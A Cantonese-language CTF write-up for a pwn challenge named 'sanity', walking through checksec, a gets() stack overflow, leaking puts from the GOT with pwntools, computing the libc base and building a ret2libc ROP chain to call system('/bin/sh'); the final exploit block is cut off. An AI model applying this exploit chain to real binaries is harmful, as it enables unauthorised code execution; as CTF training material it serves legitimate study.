Question
Binary
Solution
一見到有個.so 比賽果陣都放棄左了 , 呢題係完左之後2日先做番出黎
首先啦 , 基本動作 checksec先1
2
3
4
5Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
之後扔入IDA睇下個Main先1
2
3
4
5
6
7
8
9int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [sp+10h] [bp-70h]@1
puts("Sanity Check should be easy");
fflush(_bss_start);
gets(&v4);
return 0;
}
Leak Function Address
首先試下點樣可以 trigger main行多次先1
2
3
4
5
6
7
8
9
10
11
12
13
14from pwn import *
p = process('sanity')
e = ELF('./sanity')
payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(0x401000) #just for fill rdi
payload += p64(e.symbols['main'])
"""
Output:
Sanity Check should be easy
Sanity Check should be easy
"""
可以見到已經行左2次 , 咁如果我地將0x401000轉做一個function既地址會點?
最終係可以構做到變成puts(gotAddress)
例如想leak libc既main 可以1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17from pwn import *
p = process('sanity')
e = ELF('./sanity')
gadget = 0x4006a3 #pop rdi;ret;
payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['__libc_start_main'])
payload += p64(e.plt['puts']) #puts(__libc_start_main_got)
payload += p64(e.symbols['main'])
"""
Output:
有堆亂碼 , 應該係address既hex string黎
Sanity Check should be easy
"""
咁我地試下leak puts既address啦 , 搵offset都方便d1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
p = process('sanity')
e = ELF('./sanity')
gadget = 0x4006a3 #pop rdi;ret;
libc_puts_off = libc.symbols['puts']
payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts']) #puts(puts_addr_got)
payload += p64(e.symbols['main'])
p.recvuntil("easy\n")
p.sendline(payload)
leaked = p.recvuntil("\n")
print leaked.encode('hex')
"""
Output:
90afab45ad7f0a
Sanity Check should be easy
"""
咁個puts address應該係7fad45abaf90 , 但係多左個0a又調轉左喎 , 咁format下佢 , 同埋計番個libc_base先1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26from pwn import *
p = process('sanity')
e = ELF('./sanity')
gadget = 0x4006a3 #pop rdi;ret;
libc_puts_off = libc.symbols['puts']
payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts']) #puts(puts_addr_got)
payload += p64(e.symbols['main'])
p.recvuntil("easy\n")
p.sendline(payload)
leaked = p.recvuntil("\n")
leaked = u64(leaked[:-1].ljust(8,'\x00'))
libc_base = leaked - libc_puts_off
info("Libc base:" + hex(libc_base))
"""
Output:
[*] Libc base: 0x7f28573b5900
"""
咁之後就可以慢慢拎番 binsh 既offset 同埋system既offset , 加番libc base , 再做ROP1
2libc_system_off = libc_base + libc.symbols['system']
libc_binsh_offset = libc_base + next(libc.search('/bin/sh'))
ROP
Buffer overflow
1
2
3pattern create 200 input
r < input
pattern search搵ROPgadget (pop rdi; ret;)
1
ROPgadget --binary sanity --only 'pop|ret'
砌積木
1
buffer + gadget + binsh_addr + system_addr
Full exploit code
1 | from pwn import * |